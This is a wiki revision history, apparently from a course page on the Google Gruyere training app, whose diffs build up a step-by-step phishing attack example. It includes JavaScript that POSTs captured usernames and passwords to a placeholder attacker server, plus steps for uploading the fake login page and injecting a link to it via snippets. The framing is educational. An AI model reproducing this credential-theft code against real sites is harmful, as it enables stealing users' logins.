Google Gruyere - Revision history

BSener: Attack example for password stealing added

2024-12-18T20:12:31Z

Attack example for password stealing added

← Older revision		Revision as of 20:12, 18 December 2024
Line 167:		Line 167:
	Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.		Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
	Now start your server and wait for someone to fall into your trap.		Now start your server and wait for someone to fall into your trap.
	[[File:~~MySnipptes~~.png\|thumb\|none\|300px\|MySnippets Page]][[File:LoginPage.png\|thumb\|none\|300px\|Malicious Login Page]]		[[File:MySnippets.png\|thumb\|none\|300px\|MySnippets Page]][[File:LoginPage.png\|thumb\|none\|300px\|Malicious Login Page]]
	[[File:PasswordLog.png\|thumb\|none\|300px\|Log File]]		[[File:PasswordLog.png\|thumb\|none\|300px\|Log File]]

BSener at 20:11, 18 December 2024

2024-12-18T20:11:01Z

← Older revision		Revision as of 20:11, 18 December 2024
Line 167:		Line 167:
	Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.		Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
	Now start your server and wait for someone to fall into your trap.		Now start your server and wait for someone to fall into your trap.
	[[File:MySnipptes.png\|thumb\|none\|~~400px~~\|MySnippets Page]]		[[File:MySnipptes.png\|thumb\|none\|300px\|MySnippets Page]][[File:LoginPage.png\|thumb\|none\|300px\|Malicious Login Page]]
	[[File:LoginPage.png\|thumb\|none\|~~400px~~\|Malicious Login Page]]		[[File:PasswordLog.png\|thumb\|none\|300px\|Log File]]
	[[File:PasswordLog.png\|thumb\|none\|~~400px~~\|Log File]]

	== Similar Codelabs ==		== Similar Codelabs ==

BSener at 20:09, 18 December 2024

2024-12-18T20:09:36Z

← Older revision		Revision as of 20:09, 18 December 2024
Line 167:		Line 167:
	Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.		Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
	Now start your server and wait for someone to fall into your trap.		Now start your server and wait for someone to fall into your trap.
			[[File:MySnipptes.png\|thumb\|none\|400px\|MySnippets Page]]
			[[File:LoginPage.png\|thumb\|none\|400px\|Malicious Login Page]]
			[[File:PasswordLog.png\|thumb\|none\|400px\|Log File]]

	== Similar Codelabs ==		== Similar Codelabs ==

BSener at 19:51, 18 December 2024

2024-12-18T19:51:26Z

← Older revision		Revision as of 19:51, 18 December 2024
Line 158:		Line 158:
	<h3>Step 3: Upload file</h3>		<h3>Step 3: Upload file</h3>

	1. Create an user account on Google Gruyere webpage		1. Create an user account on Google Gruyere webpage<br>
	2. Go to the "Upload" Tab and upload the code of your login page		2. Go to the "Upload" Tab and upload the code of your login page<br>
	3. You will get a link to where your file is available. Copy that link and move on to Step 4.		3. You will get a link to where your file is available. Copy that link and move on to Step 4.
	<h3>Step 4: Inject link to your page</h3>		<h3>Step 4: Inject link to your page</h3>
	Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:		Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
	[[File:injection.png\|thumb\|none\|400px\|~~Google Gruyere; source: https~~:/~~/google-gruyere~~.~~appspot~~.~~com]]~~		[[File:injection.png\|thumb\|none\|400px\|Injection]]
			<h3>Step 5: Start attack</h3>
			Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
			Now start your server and wait for someone to fall into your trap.

	== Similar Codelabs ==		== Similar Codelabs ==

BSener at 19:48, 18 December 2024

2024-12-18T19:48:07Z

← Older revision		Revision as of 19:48, 18 December 2024
Line 163:		Line 163:
	<h3>Step 4: Inject link to your page</h3>		<h3>Step 4: Inject link to your page</h3>
	Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:		Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
			[[File:injection.png\|thumb\|none\|400px\|Google Gruyere; source: https://google-gruyere.appspot.com]]

BSener at 19:45, 18 December 2024

2024-12-18T19:45:28Z

← Older revision		Revision as of 19:45, 18 December 2024
Line 142:		Line 142:
	}		}
	);		);

	if (response.ok) {		if (response.ok) {
	window.location.href =		window.location.href =
Line 154:		Line 153:
	"An error occurred. Please check your connection.";		"An error occurred. Please check your connection.";
	}		}

	form.reset();		form.reset();
	});		});
	In this example the user is redirected to the Google Gruyere homepage after entering his information.		In this example the user is redirected to the Google Gruyere homepage after entering his information.
			<h3>Step 3: Upload file</h3>

	1. Create an user account on Google Gruyere webpage		1. Create an user account on Google Gruyere webpage
	2. Go to the "Upload" Tab and upload the code of your login page		2. Go to the "Upload" Tab and upload the code of your login page
			3. You will get a link to where your file is available. Copy that link and move on to Step 4.
			<h3>Step 4: Inject link to your page</h3>
			Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:

BSener at 19:37, 18 December 2024

2024-12-18T19:37:54Z

← Older revision		Revision as of 19:37, 18 December 2024
Line 127:		Line 127:
	run_server()		run_server()

			If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
			<h3>Step 2: Create a Login HTML</h3>
			You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
			try {
			const response = await fetch(
			"https://<local-server-ip-address>",
			{
			method: "POST",
			headers: { "Content-Type": "application/x-www-form-urlencoded" },
			body: `username=${encodeURIComponent(
			username
			)}&password=${encodeURIComponent(password)}`,
			mode: "no-cors", // Keine CORS-Prüfung durchführen
			}
			);

			if (response.ok) {
			window.location.href =
			"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
			} else {
			window.location.href =
			"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
			}
			} catch (error) {
			messageDiv.textContent =
			"An error occurred. Please check your connection.";
			}

			form.reset();
			});
			In this example the user is redirected to the Google Gruyere homepage after entering his information.

	1. Create an user account on Google Gruyere webpage		1. Create an user account on Google Gruyere webpage

BSener at 19:29, 18 December 2024

2024-12-18T19:29:12Z

@@ Line 78: / Line 78: @@
 <h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
 <h3>Step 1: Python Server</h3>
-Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server
+Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
 . Create an user account on Google Gruyere webpage

BSener at 19:20, 18 December 2024

2024-12-18T19:20:50Z

← Older revision		Revision as of 19:20, 18 December 2024
Line 77:		Line 77:
	== Attack Example ==		== Attack Example ==
	<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.		<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
	<h3>~~Tools needed~~.		<h3>Step 1: Python Server</h3>
			Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server

			1. Create an user account on Google Gruyere webpage
			2. Go to the "Upload" Tab and upload the code of your login page


	== Similar Codelabs ==		== Similar Codelabs ==

BSener at 19:12, 18 December 2024

2024-12-18T19:12:01Z

← Older revision		Revision as of 19:12, 18 December 2024
Line 74:		Line 74:
	* <b>AJAX Vulnerabilities</b>		* <b>AJAX Vulnerabilities</b>
	➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.		➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

			== Attack Example ==
			<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
			<h3>Tools needed.

	== Similar Codelabs ==		== Similar Codelabs ==